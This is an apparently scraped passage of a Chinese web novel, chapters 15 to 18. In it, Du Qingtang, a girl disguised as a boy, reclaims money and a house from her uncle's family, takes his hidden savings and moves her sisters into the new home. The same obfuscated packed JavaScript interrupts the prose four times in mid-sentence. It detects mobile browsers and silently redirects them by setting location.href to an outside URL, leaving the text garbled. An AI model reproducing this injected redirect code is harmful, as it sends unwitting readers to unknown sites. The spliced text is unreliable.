这个功能为她的秘密又上一层保险,更进一步断绝了村民们怀疑她是女子的可能。 但是杜青棠更希望,有朝一日她能取下这枚玉坠,以女子之身堂堂正正地行走在科举场上,甚至是官场上。 杜八丫却想到更多:“等娘醒来知道这件事,她一定会生气的。” “那就让她跟元家人一起住。”元氏不是事事以元平为先吗,她姑且做一回好人,让元氏姐弟团聚,“醒来?她怎么了?” 杜七丫抢答:“被舅母打晕了。” 杜青棠:“......我去看看。” 进了屋,元氏平躺在炕上,除了脸上鲜红的指印,呼吸平稳,神态安详,更像睡着了。 “没死就行。”杜青棠咕哝。 朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909795|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廷有明确规定,守孝期间不得参加科举考试,她有意明年下场参加县试,绝不能因为一个元氏乱了计划。 杜八丫离得近,听到这四个字,心底掀起惊涛骇浪。 这阵子她一直觉得有什么地方不对劲,可又说不出个所以然,直到现在才明白问题出在哪里。 棠哥儿太冷静了,无喜无悲,看娘的眼神像是在看一个无关紧要的陌生人,漠然得令人心惊。 杜八丫:“棠哥儿......” “我知道八姐想说什么。”杜青棠打断她的欲言又止,“投我以桃,报之以李,她对我好,我才会回馈她我的好。” “这些年娘越来越不知分寸,只顾元家,全然不顾我们的死活。事到如今,我不会再忍让,或许你们会觉得我无情,觉得我手段强硬,但是我不会改。” 杜七丫头摇得像拨浪鼓:“棠哥儿想方设法讨回娘送去舅舅家的银子,我高兴还来不及,怎么会怪你?娘确实越来越过分,我们要是再不拘着她,哪天被卖了还给她数钱呢。” 其他三个姑娘没说话,但是透过她们若有所思的双眼,杜青棠知道她们听进去了。 “嗯......” 杜青棠循声望去,元氏悠悠转醒,看到她立在炕前,一把抓住她的手:“棠哥儿,你舅母......” 发现屋里还有人,话到嘴边又咽回去:“你舅母呢?” 杜青棠:“走了。” 元氏:“走了?” 杜七丫掩下眼底的若有所思,笑嘻嘻道:“舅母咒棠哥儿,还在村里那么多人面前说棠哥儿是女娃,结果被棠哥儿讨回了这些年您送去的所有银两,还顺势断了亲。” 杜六丫哪里听不出七妹是故意的,艰难忍笑:“舅舅家没那么多钱还债,就用房子抵了一部分,等咱们搬去新家,就不用挤在一条炕上睡觉了。” 娘以前做的事情比这还要气人,就当是给自己,给姐妹们出口气。 元氏听说这话,顿时闹开了:“这是我贴补你舅舅的,谁允许你讨回来?赶紧把钱送回去,抵债的房子也不准要,你们搬过去你舅舅住哪?你们居然不经过我的同意擅自断亲,这是不孝,是要遭雷劈的!” 杜青棠死了那么多次,什么死法都体验过,如果有机会,她还真想体验一把被雷劈死的感觉。 “我出去一趟,你们收拾东西,等我回来就搬家。” “好嘞!” “棠哥儿!棠哥儿你给我回来!” 杜青棠充耳不闻元氏的叫喊,去灶房摸了把刀塞在后腰,直奔元家而去。 15.015 却说元盛把朱氏送回家,连忙去追孙大夫,让他医治朱氏。 半路上,冷风一吹,元盛逐渐冷静下来,回想整件事的来龙去脉,脸色骤变。 “该死!被她摆了一道!” 他和朱氏想的一样,认为杜青棠提前收买了孙大夫,两人共同上演一出瞒天过海的大戏。 之后又拿捏住他急于洗白的心理,三言两语挑得他用房子抵债。 “贱人!贱人!” 元盛破口大骂,一只鸟从他头顶飞过,啪叽往他嘴里拉了一泡。 “呕!” 元盛趴在路边大吐特吐,好不容易追上孙大夫,他阴着脸威胁:“你可知杜青棠有意参加科举?一旦她的身份被发现,你就是同犯......” 孙大夫觉得元家人脑子有病:“你烦不烦?没事做去把村里的茅坑掏了,顺便把我家的也给掏了。” 元盛:“?” 孙大夫撇嘴:“自个儿一堆烂事,也不怕得脏病。” 元盛:“......” 两人来到元家,元盛让元雪领孙大夫过去,自己去洗澡换衣服。 正用丝瓜瓤洗刷口腔,杜青棠推开半掩的院门进来。 元平和朱氏的屋门大敞,元雪见她过来,忍着羞耻迎上去:“棠哥儿......” 杜青棠听见元盛屋里水声哗哗,也不管什么男女大防,哐哐捶门:“元盛,出来。” 元盛一惊,手下用力过猛,丝瓜瓤搓破舌头,鲜血直流。 杜青棠锲而不舍地捶门:“赶紧收拾东西搬出去,晚饭之前我要住进来。” 元盛胡乱套上衣服,想起今日的闹剧,想起被杜青棠败坏的声誉,新仇旧恨加在一起,他终于忍无可忍,在打开门的第一时间挥起拳头。 杜青棠直接抽出菜刀:“想试试看究竟是我的刀快,还是你的手快?” 元盛:“......” 识时务者为俊杰,元盛掉头就走,去收拾行李。 元雪套好驴车,把行李和朱氏搬上板车,准备离开。 “等等。”杜青棠手中菜刀锃亮,“东西呢?” 元盛脸色僵了下,不情不愿地将契书和银两交给杜青棠,驾着驴车离开元家......不,从今往后这里就是杜家了。 元家除了这间砖瓦房,还有一间老屋,他们正是去往那处。 杜青棠送走孙大夫,并未立刻离开,而是关上门,插上门栓,径直走向鸡棚。 她在鸡棚旁来回踱步,最终停在左侧,抽出第五块砖。 俯身看去,竟别有洞天。 三块砖与鸡窝隔开,杜青棠手伸进去一阵摸索,取出藏在里面的东西—— 十二张一百两银票和一包碎银子。 ...... 元平年轻时好色、好赌,与朱氏成亲近二十年,一儿一女长到十八岁,也没改掉这两个习惯。 与村里的寡妇眉来眼去,勾勾搭搭,隔三差五光顾赌坊,输了不提,赢的钱要么便宜那些个寡妇,要么就被他藏起来。 显而易见,一千二百两银票和碎银子正是元平瞒着朱氏偷藏的私房钱。 要问杜青棠从何处得知私房钱藏在鸡棚,还要从第一世说起。 元平嗜酒,某次醉酒后脑子抽了,被狐朋狗友诈出私房钱的位置,等他意识到不对,已经是几天后,私房钱早已不翼而飞。 一千多两银子不是笔小数目,元平打上门去,让狐朋狗友还钱。 狐朋狗友直呼冤枉,引来左邻右舍围观。 众人都说元平酒喝多了白日做梦,他一个只知胡吃海喝的懒汉,哪里来那么多银子? 最后元平将此事闹到县衙,狐朋狗友才不甘不愿地将偷来的钱还回去。 等元平回家,等待他的是一场家庭大战。 朱氏得知元平藏私房钱、接济寡妇,暴怒之下挠花他的脸,将他揍成猪头,整整半个月没敢出门,让村里人看足了笑话。 ....... 杜青棠将银票叠起来塞进装碎银子的荷包里,贴身存放。 她早就说过,会让元家人十倍百倍地还回来。 杜青棠将事情闹大,闹到全村皆知,无法收场的地步,可不是为了一间二手房。 重生第二天,她就描摹了十二张一百两银票,又用碎石子伪造碎银子,万事俱备,只欠东风。 今日,她等来了那场东风。 杜青棠将假银票和假碎银子放回原位,将砖头推回去,拿着契书去方洪海家。 方洪海坐在院子里抽旱烟,见杜青棠过来,以为元家又闹什么幺蛾子,顿时头疼不已。 一家子惹事精! “可是盛哥儿他娘又......” “村长,麻烦您将房契和地契过个户。” 方洪海一愣,原来是这么回事,他爽快应下。 大夏的村长是由官府任命,村里哪家买卖房屋田地,可以直接找村长办理过户手续。 契书上原本写着元平的名字,方洪海取来印章和笔墨,正要将元平改成元如意——元氏的名字,杜青棠出声道:“村长,不知能否写我的名字?” 方洪海愣了下,想到元氏和元家的关系,以及“元氏让元平代为保管银两”这件事的可信程度,踟蹰良久,还是同意了。 “你爹去得早,一晃十二年,棠哥儿你也长大了。”方洪海语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916786|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重心长,“好好读书,争取让桃源村再出个童生。” 他原本以为元盛会是刘童生之后的第二个童生,可自从出了那事,他就不抱希望了。 杜青棠从李家私塾考入清苑书院,显然是个有能力有抱负的,他对她寄予厚望。 杜青棠接过契书:“多谢您,我会尽力而为。” 方洪海笑了笑,目送她离开。 还未踏入黄泥房,杜青棠就听到元氏的哭嚎声:“不孝女!都是不孝女!你们这是要气死我啊!” “今天你们要是敢离开,我就一头撞死在炕上!” 杜七丫气坏了:“娘!你真是我娘吗?哪家的娘胳膊肘往外拐,不把闺女当人?哦,原来是我娘!” 杜青棠:“......” “七丫!”元氏尖叫。 杜青棠揉耳朵,推开门:“想撞就撞,别那么多废话,撞死了我会厚葬您,没撞死我也会请孙大夫治好您。” 元氏凶狠的表情凝固,滑稽极了。 “收拾好了吗?”杜青棠看向四个姑娘,“房子已经过户了,今晚就可以住过去。” 杜六丫欢呼:“好耶!” 杜七丫拍手:“我要跟八丫一起睡!” “不行!我不同意!你这么做就是把咱家架在火上烤,让咱家成为整个桃源村的笑话!”元氏用剪刀抵住喉咙,“棠哥儿你要是不把银子和房子还回去,销毁欠条和断亲书,我就死在你面前。” “没人在乎你的死活,五姐六姐七姐八姐,咱们走。”杜青棠丝毫不为所动,拎起包袱转身就走,“就算我今日不把事情闹大,你十二年如一日地给元家送钱,早就成了桃源村最大的笑话,好在现在大家都觉得你被元平骗了,很是同情你呢。” 元氏脸色忽青忽白,看向一旁:“五丫......” 四个姑娘被元氏的态度伤到了,讨回银子和搬进新家明明是天大的喜事,元氏却以死相逼,实在让人心寒。 她们看也不看元氏,跟在杜青棠后头离开。 杜家一穷二白,除了锅碗瓢盆和破旧衣服,也就杜青棠的那些手抄版书籍贵重一点。 杜青棠先送衣服过去,书籍留在最后。 有人见元氏不在,就问她们:“棠哥儿,你娘怎么不跟你们一起过去?” 杜青棠:“我娘舍不得我爹,决定留在老屋陪我爹。” 杜五丫:“......” 这人信以为真:“你们几个答应了?难道忍心留你娘一个人在老屋?” 杜青棠:“我娘说这些年我们受苦了,让我们搬过去享享福,她也好跟我爹说些掏心窝子的话。” 杜八丫:“......” 16.016 随意打发了好事者,姐妹三人来到新家,发现院门大开,元平站在鸡棚旁边,手里还拿着一块砖头。 杜五丫暗生警惕:“您怎么来了?” 难道元平后悔以房抵债,想要把房子要回去? 元平从隔壁村串门回来,刚到村口就被堂兄告知家里发生了什么,桩桩件件都让他着急上火,恨不得抽死朱氏那个蠢妇和擅作主张的元盛。 不过眼下当务之急,是神不知鬼不觉地拿回藏在鸡棚里的私房钱。 趁杜青棠回老屋搬东西,他用钥匙开门,抽出砖头见私房钱还在,很是松了一口气。 元平刚把荷包揣进袖子里,杜青棠就来了。 他慌了一瞬,努力让自己冷静下来,若无其事地把砖头塞回去,欲盖弥彰地解释:“不知道怎么回事,鸡棚这块砖头掉下来了,我给它装回去。” 杜五丫和杜八丫心中大定,不是要回房子就好。 结果想什么来什么,紧接着就听元平气势汹汹地说:“劝你们赶紧把钱原封不动地还回来,还有这房子也一并还回来,否则我要你们吃不了兜着走!” 杜青棠不惯他,抖出契书和欠条:“村长做主,全村人见证,上面白纸黑字写着我杜青棠的名字,跟你元平有半个铜板的关系?” 元平仗着自己不识字,故意耍赖:“我不管,那些银子是你娘给我的,是元家的东西.......” 杜青棠:“既然如此,不如再请村长过来评评理,看谁对谁错?” 元平喉咙一哽,因为他整日无所事事,方洪海很是看不上他,要是让方洪海过来,不知道怎么喷他呢。 “对了。”杜青棠看向鸡棚,“我方才进门,见你鬼鬼祟祟,莫非这里藏了什么见不得人的东西?” 元平瞳孔收缩,矢口否认:“我没有!” 杜青棠:“银子?” 元平:“不是!” 杜青棠:“哦,原来是私房钱。” 元平急了:“我都说不是,你这孩子怎么说胡话!” 如果让朱氏那泼妇知道他藏私房钱,还暗中接济刘寡妇张寡妇胡寡妇,怕是要剐下他一层皮。 杜青棠见余光中出现一道身影,超大声地说:“舅母,舅舅偷藏私房钱,上次我还看到他跟刘婶子张婶子胡婶子走在一块儿。” “好你个元平!你不是说早就跟她们断了吗?” 朱氏经由孙大夫一番救治,很快悠悠转醒。 醒来后发现自己回到了破旧的老屋,她无法接受这个事实,一阵风似的卷出门。 她要去找元氏,让元氏想法子把房子和银子要回来。 对了,还有欠条。 欠条也要一并销毁了。 元盛知道朱氏要去做什么,没有阻止。 老屋破旧不堪,他感觉这里到处都是跳蚤,皮肤上黏糊糊的,像是有无数只虫子在爬,令他无比作呕。 让朱氏冲锋陷阵,能讨回一切再好不过,失败了对他也没什么影响。 元盛看着书箱:“告假多日,该回去上课了。” 现在输给杜青棠没什么,等他科举高中,入朝为官,从前奚落嘲讽他的人都将匍匐在他的脚下。 至于杜青棠,她今日收买孙大夫,糊弄了所有人,来日还能收买考官和搜检官? 就算搜身时无需褪去全身衣物,就算杜青棠可以瞒天过海,他也会在县试前夕匿名递上一封检举信。 女扮男装考科举是欺君之罪,等待她的将会是必死的牢狱之灾。 至于杜青棠曾经所说,一旦她入狱,会拉着元家一起死...... 他那好姑姑连八个女儿都没告诉,怎么可能将杜青棠的秘密告诉娘家人? 元盛缓缓笑了。 杜青棠害他至此,唯有惨死,方能解他心头之恨。 ...... 却说杜青棠挑开元平和寡妇的私情,朱氏怒不可遏,使出一招九阴白骨爪,挠得元平满脸血。 元平痛得惨叫,不顾杜青棠三人在场,与朱氏厮打起来。 杜青棠不想看他们菜鸡互啄:“要打出去打,再来烦我,我就去找村长主持公道。” 元平和朱氏到底还是畏惧方洪海这位德高望重的老村长,灰溜溜地跑了,哪还记得房子契书还有欠条。 “杀千刀的元平,看老娘回去不扒你一层皮......” 朱氏粗鄙的谩骂声远去,杜青棠这才有时间仔细打量这间由杜家出钱盖的砖瓦房。 砖瓦房坐北朝南,正对院门的是堂屋,堂屋两边分别是东屋和西屋。 东屋旁边挨着灶房,灶房南边是略小些的东南屋,屋里有炕,还有两个柜子。 杜青棠拍板道:“五姐六姐住东屋,七姐八姐住西屋。” 杜五丫:“那你呢?” 杜青棠指向西边紧挨着西屋的屋子,跟东南屋差不多大,胜在有一张长桌和一个简陋的书架:“我住这间。” 杜六丫觉得不行:“这屋子太小了,不如住东......” 杜青棠打断她,语气不容置喙:“你们把衣服放进屋里,咱们得赶紧把剩下的搬过来。” 两个姑娘拗不过老幺,只得照办。 路上遇到杜七丫和杜八丫,杜七丫满脸不高兴:“娘听说舅母吐血晕过去,割一大块腊肉走了。” “随她去。” 杜青棠以前还想撬开元氏的脑子,清一清里面的水,现在已经懒得管她。 就算元氏让她不高兴,她也只会罚元氏不许吃饭。 回到黄泥房,杜青棠坐在桌前整理书本。 她没有很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927946|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多书,除了《说文解字》,其他书都是她借了同窗的,逐字逐句抄出来的。 白天抄书,晚上也抄书。 买灯油要钱,而杜家没钱。 彼时的杜青棠是个体谅母亲不易的乖孩子,晚上也舍不得点灯,而是坐在屋外,借着朦胧的月光抄书,一抄就是两个时辰。 杜青棠翻开《千字文》,指腹摩挲犹且稚嫩的字迹,眸光明灭不定。 可惜她的一腔孝心没能得到回报,反而被元氏和她所谓的亲人推上绝路。 以后不会了。 她不会再委屈自己,只有别人受委屈的份。 杜青棠整理好书,撬开炕前第三块土砖,取出书院奖励的银子,和刚得的一千二百多两放在一起。 杜青棠把银票贴身藏好,抱着书本和书院服与杜五丫杜六丫汇合。 “你们说,舅舅真的藏私房钱了吗?” “舅母那么生气,肯定是真的。” 杜青棠没有说话,更没说她在不久之前得了一笔巨款。 这是她的底气,而她不相信任何人。 ...... 杜青棠和四个姑娘赶在天黑之前安顿下来,将里里外外打扫一遍,顺便换了把锁,以防元家人再摸进来。 等一切忙完,已经累得爬不起来,躺在炕上手指头都不想动一下。 杜八丫声音闷闷:“娘真的不来吗?” “娘这会儿估计还在鞍前马后地伺候舅母呢。”杜七丫摸着扁扁的肚皮,“咱们随便弄口吃的,赶紧洗洗睡吧。” “有道理!” 在杜青棠的提议下,将昨天吃剩的菜饼和卤味一锅炖,再放两把青菜,有汤有面还有肉,完美! 四个姑娘吃得肚皮滚圆,洗锅刷碗后各自睡去。 杜青棠回到西南屋,洗漱后没有立即躺下,而是铺开宣纸,写下“日常计划表”五个字。 没有规矩不成方圆,清苑书院开课在即,她需要列一张计划表,从早到晚,具体到每个时辰,以此警醒约束自身。 书院为学生免费提供住宿,卯时起身,出门背书,期间不可惊扰同寝之人。 背完书开始晨练,晨练内容包括但不限于慢跑、广播体操、俯卧撑、仰卧起坐。 晨练结束后去书院的饭堂吃饭,然后开始上课。 上完课回到寝舍,继续看书刷题,直至亥时末熄灯入睡。 除了每日计划,还有每月计划,每年计划。 除了在书院每月一度的考核中保证名列前茅,还要准备明年二月的县试。 杜青棠写完年度计划表,又取来一张空白的宣纸,郑重写下“县试计划表”。 寂夜漫长,杜青棠伏案书写,她的影子随着烛火一同摇曳,阴影将她半个身子拢入其中,默然无声地守卫着她。 17.017 杜青棠列出好几张计划表,之后又刷了两道刘童生送来的试题,直到深夜才入睡。 许是新到手的银票给了她安全感,今夜她没再做梦,总算睡了个好觉。 睁开眼,天色大亮。 杜青棠打开房门,四个姑娘早已起身,正在院子里忙活。 杜五丫听见动静看过来,绣花的动作不停:“棠哥儿醒了?” 杜青棠轻咳一声:“昨夜睡得有些迟。” 杜六丫笑道:“棠哥儿读书辛苦,起得迟一点也不碍事,饭在锅里温着,快去吃吧。” “好,谢谢六姐。” “谢什么,顺手的事儿。” 杜青棠先去刷牙洗脸,杨柳枝蘸盐,放进嘴里咬一咬,满口的草木清香。 往木盆里倒热水,再兑点冷水进去,温水浸没巾帕,拎起来拧得半干,仰起脸一顿揉搓,搓去残余的惺忪睡意,杜青棠彻底清醒过来。 早饭是疙瘩汤,佐以两块菜饼。 昨夜熬得太晚,胸口火烧火燎的,大脑也昏昏沉沉,正适合吃点清淡的。 杜青棠端着碗坐在屋檐下吃,杜八丫看她:“棠哥儿,今天我们去县里卖鱼,你去不去?” “去。”杜青棠不假思索道。 书院考核那日,她原本打算去见李先生一面,没想到半路临时起意,买了十多斤的猪肉和猪下水,她懒得再绕路去李家私塾,索性作罢。 今日得空,自然要登门拜访,跟李先生谈一谈元盛和李薇的事情。 虽然距离元盛参加院试还有两年,但她觉得此事宜早不宜迟。 李薇将男欢女爱看得太重,甚至重于生她养她的爹娘,必须在她非元盛不可之前,让她及时止损。 杜七丫捏着刻刀,已有雏形的木雕娃娃憨态可掬,襜衣上挂满木屑,被风吹得四散,呛得她打了个喷嚏:“顺便把木雕送去卖,五姐六姐还有棠哥儿卖鱼,我和八丫去杂货铺。” “行,那就走吧。” ...... 出门前,杜青棠没有忘记卖肉的张屠子借给她的竹篓。 背上竹篓,姐妹五人有说有笑地踏上进城之路。 当然,绝大多数时候是四个姑娘说笑,杜青棠安静聆听,只偶尔嗯一声。 途径元家老屋,在门口看到元氏。 元氏在刷洗橱柜,从头到脚灰扑扑的,忙得满头大汗。 不过一夜未见,元氏就把自己搞成这样,是姑娘们从未见过的狼狈。 杜六丫从震惊中回神,感慨道:“娘在家里也没忙成这样。” 杜七丫心里酸,但她不说,嘴上越发刁钻刻薄:“咱们都是赔钱货,哪能跟舅舅比?舅舅可是咱娘的心肝肉咧!” 她们看到元氏,元氏当然也注意到了她们。 元氏想到昨日之事,满肚子的怨念无处发泄,别过脸看也不看她们。 这一行为太过刻意,无意给了姑娘们沉痛一击。 “舅舅是娘的亲人,我也是娘的孩子啊,她为什么要这样对我们?” “就因为棠哥儿讨回了属于咱家的钱,娘就寻死觅活,太让人寒心了。” “哼,我才不在乎呢,有本事她以后吃喝都在舅舅家,几十年后也让表哥给她养老送终。” 杜青棠哂笑,有的人就是没苦硬吃。 殊不知主动送上门的都不是什么好东西,没有人会珍惜,活该她兄弟媳妇看不起她,一言不合就抽她大嘴巴子。 “但是娘看起来很开心,随她去吧。” “棠哥儿说的对,我再也不管她了!” 除非娘知道自己做错了,主动回到她们身边。 但是四个姑娘再清楚不过,这是不可能的。 等元氏再看过去,早已不见女儿的身影。 “橱柜还没洗好吗?磨磨唧唧慢死了,洗完了顺便把桌凳也擦一下,别忘了午饭......” 门内传来朱氏颐指气使的声音,元氏因为杜青棠占了元家的砖瓦房心中有愧,从昨天下午一直忙到现在,期间只睡了两个时辰,累得浑身疼都不敢说。 “知道了,你昨儿吐了血,赶紧躺炕上歇着,屋里屋外这些活儿交给我跟雪姐儿。” 朱氏冷哼,贱人贱命,累死也是活该。 “房子的事就这么算了?”元平吸一口旱烟,还是不甘心。 黄泥房和砖瓦房,简直是狗窝和金窝银窝的区别。 “盛哥儿被死丫头毁了名声,到现在也没找到那一男一女,也就没法恢复盛哥儿的清白。说了千八百遍,是死丫头陷害盛哥儿,那些个蠢货却都不信,如今又来这一遭......”说到这里,朱氏恨得牙痒痒,又束手无策,“要是继续闹下去,万一像刘老五媳妇说的那样,影响盛哥儿科举做官就不好了。” 除了认命,吃下这闷亏,他们别无选择。 “还有你,要是再让我看到跟那几个贱人勾勾搭搭,老娘就剁了你!” 元平呼吸一紧,并起双腿,敷衍地应着:“知道了知道了,我再也不敢了。” 幸好他把私房钱藏得深,没被朱氏这婆娘摸去。 因为元盛的事,他已经小半个月没进城了,手痒得很,打算过几天去赌坊玩两把。 - 今日逢集,集市上人山人海,各种摊位琳琅满目,叫卖声不绝于耳,热闹极了。 姐妹五人好不容易才在犄角旮旯里寻到一处摊位,巴掌大点的位置不仅要卖鱼,还要容纳五个人,着实困难了些。 杜七丫拉着妹妹溜之大吉,去杂货店卖木雕了,杜五丫深吸一口气,气沉丹田,卖力吆喝起来:“卖鱼!卖鱼喽!新鲜的活蹦乱跳的鱼!” 杜六丫不甘示弱,也跟着大声吆喝。 有人被叫卖声吸引过来:“呦,这鲢鱼个头不小,怎么卖的?” 杜五丫道:“论斤卖,十五文一斤。” “行,就这条了。” 两个姑娘喜出望外,赶紧用草绳穿过鱼唇,上秤称重。 杜青棠见一时半会儿用不到她,就跟杜五丫说了声:“我去还竹篓,顺道去拜访李先生。” 杜五丫记得之前教导过棠哥儿的私塾先生姓李,也不多问:“你去吧,路上小心。” 还把她当孩子看待呢。 杜青棠抿了下唇,背上竹篓离开集市。 来到肉摊,张屠子还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932106|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙活。 杜青棠把竹篓放在墙角,跟张屠子打声招呼:“叔,竹篓给你送来了。” 张屠子“砰砰”砍排骨:“晓得了,你去吧。” 等他忙完一阵子,才想起去而复还的竹篓,走过去低头一看,发现竹篓里有好几颗翠绿的青菜,还有一把子捆得整整齐齐的萝卜条。 张屠子愣了下,揪了一根萝卜条塞嘴里,脆爽可口:“太客气了,不就借她一个竹篓......好吃,带回去给媳妇尝尝!” ...... 却说杜青棠归还竹篓之后,直奔李家私塾而去。 李先生还在上课,接待她的是李先生的妻子方氏。 方氏得知杜青棠顺利考入清苑书院,温婉的脸上闪过讶色,旋即抚掌而笑:“据说清苑书院汇聚了来自五湖四海的读书人,你能位列榜首,实在是太厉害了。” 杜青棠作谦逊状:“全凭先生教得好,我才有机会免去束脩继续读书。” 方氏面露赞许之色,不为环境所困,奋发图强,是个好孩子! 这时,李先生结束授课回来,见到杜青棠,颇有些诧异:“你怎么来了?” “今日来此,一为告知先生我已考入书院,其二便是......”杜青棠见方氏起身要走,语调略高,“学生偶然发现一封学生的表兄写给令爱的书信。” 说着,将一张折叠的信纸放在李先生面前。 李先生皱眉,看杜青棠的眼神多出几分冰冷的审视,方氏则坐回去,脸上的温和褪去:“什么意思?” 杜青棠神情自若:“学生是何意......二位一看便知。” 李先生展开书信,“吾爱阿薇”四个字映入眼帘,他与方氏瞳孔骤缩。 逐字逐句地看下去,通篇淫词浪语,油腻虚伪的措辞令人作呕,李先生额角暴起青筋,终是忍无可忍,“砰”的将信纸拍到桌上。 “荒唐!岂有此理!” 方氏惊怒交织,她气红了眼,颤声道:“是谁?你表哥是谁?他怎么敢......” 这个世道女子名声大过天,他怎么敢写出这样的诗,对象还是她捧在手里怕冻着,含在嘴里怕化了的独女! 杜青棠眼底掠过暗芒,面上一派恭谨:“学生的表哥也是先生的学生,他叫元盛。” 元盛? 李先生心神一震,当即想起不久前的流言,那时候他就觉得与人无媒苟合,脚踩两条船的元盛品行不佳,再看面前这封信,更觉元盛面目可憎。 “学生的表哥勤奋好学,待人谦逊有礼,唯独在男女之事上失了分寸。前几日学生在表哥的桌案上发现这首诗,唯恐令爱陷入表哥编织的虚伪情爱之中,因此误了终身,这才冒着被您迁怒的风险,将此事告知先生。” 杜青棠语毕,书房内陷入一片死寂。 良久,李先生才找回自己的声音:“你是好意,我怎会迁怒于你?” 方氏哽咽:“多谢你的提醒,小女天真纯良,极重情义,若我们夫妻不曾及时察觉,怕是会越陷越深,届时......” “您二位言重了,学生只是从心而为。”杜青棠起身作揖,“话已带到,学生告退。” 18.018 杜青棠的一封信,在李先生和妻子方氏的心底激起万丈巨浪。 他们千恩万谢,眼中的感激与后怕令杜青棠无所适从。 她只是觉得李薇命不该绝,同时也想看元盛的笑话,这才从元盛的“著作”中找出一首不堪入目的,抄下后将它交给李先生。 “世间女子不易,还望先生莫要过多苛责,令爱只是走岔了路,需要您二位将她引回正路。” 杜青棠一番话不可谓不贴心,若非她年岁尚小,而李薇已经及笄,李先生说不定会觉得她对李薇存着什么不可告人的心思。 又见杜青棠目光清正,言语间皆是坦然,李先生更确定她是个秉性正直,敢于大义灭亲的好孩子。 “这是自然,我们夫妻定会动之以情晓之以理,让她知道什么样的男子值得托付终身,什么样的男子不值得。” 杜青棠知道李先生言出必行,便不再多言,离开李先生的书房。 途径课室,恰好与元盛四目相对。 间接挽救了一条鲜活的生命,杜青棠心情好,唇角勾起愉悦的弧度。 这一幕落入元盛眼底,他心里一咯噔,莫名有种不祥的预感。 ...... 元盛如何胡思乱想暂且不知,杜青棠离开私塾,去糕点铺买了五块金丝饼,五块芙蓉糕。 这次不再是隔夜低价售卖的糕点,而是刚出炉,最新鲜的一批。 回到集市,鱼已经卖得差不多了,只剩三条。 “棠哥儿你来了。”杜六丫难掩激动,她生怕旁人听见,将声音压得极低,“棠哥儿你知道吗?今天我们挣了好多钱!” 杜青棠垂眸,杜五丫手捂着嘴,眼睛弯弯,显然在偷笑。 “挣到钱是好事,回头把钱分了,姑娘家手里有钱,走到哪里都有底气。” 一旁卖菜的妇人听了这话,啧啧有声:“姑娘,你这兄弟真不错,是个疼姊妹的。” 杜五丫和杜六丫露出与有荣焉的笑:“没错,棠哥儿是极好的。” 卖完剩下的鱼,杜七丫和杜八丫也回来了,姐妹五人收摊离开。 走到人少的地方,杜七丫取出荷包:“卖木雕的钱,棠哥儿你收好,千万别被娘摸了去。” “还有我们的,一共一百零六文。”杜五丫也塞来一个荷包。 “不会。”杜青棠接过荷包揣进怀里,回答杜七丫的话,指间触碰到一抹温热,这才想起她不久前买的糕点,取出来分给四个姑娘,“还热乎着,赶紧吃。” “这是什么?” “呀,是糕点!” “不是枣泥酥?这两个又叫什么?” 姑娘们小心翼翼地捧着糕点,好奇而又珍惜地打量,她们舍不得吃这么漂亮的糕点,恨不得看出一朵花来。 “金丝饼和芙蓉糕。”杜青棠低头咬一口,“时间还早,吃完再上路。” 于是乎,姐妹五人退到街边,排排站吃糕点。 “这糕点长得漂亮,名字也好听,吃起来甜甜糯糯,香掉舌头咧!” “棠哥儿,这糕点一定很贵吧?” 杜青棠:“不贵,是昨天没卖完的,更便宜。” 姑娘们松了口气:“那就好,不过下次还是别买了,省下来给棠哥儿买书。” 杜青棠没说话,而是看向街对面。 一位阿婆在摆摊卖鸡崽,她面前的两只竹筐里挤满鹅黄色的小绒球,唧唧啾啾叫个不停。 叫声一点也不聒噪,反而稚嫩动听极了。 “真可爱,圆滚滚的像个毛球,摸起来一定很软和吧?”杜八丫目不转睛地看着。 杜家穷得叮当响,吃饭都成问题,更别说养猪养鸡鸭鹅了,她好奇也是情有可原。 杜青棠偏头看向杜八丫:“买几只回去?” 杜八丫愣了下,头摇得像拨浪鼓:“不不不,我没说要买,我只是......” “是我要买。”杜青棠语气平淡,“现在买回去,养两三个月,明年春天就能吃了。” 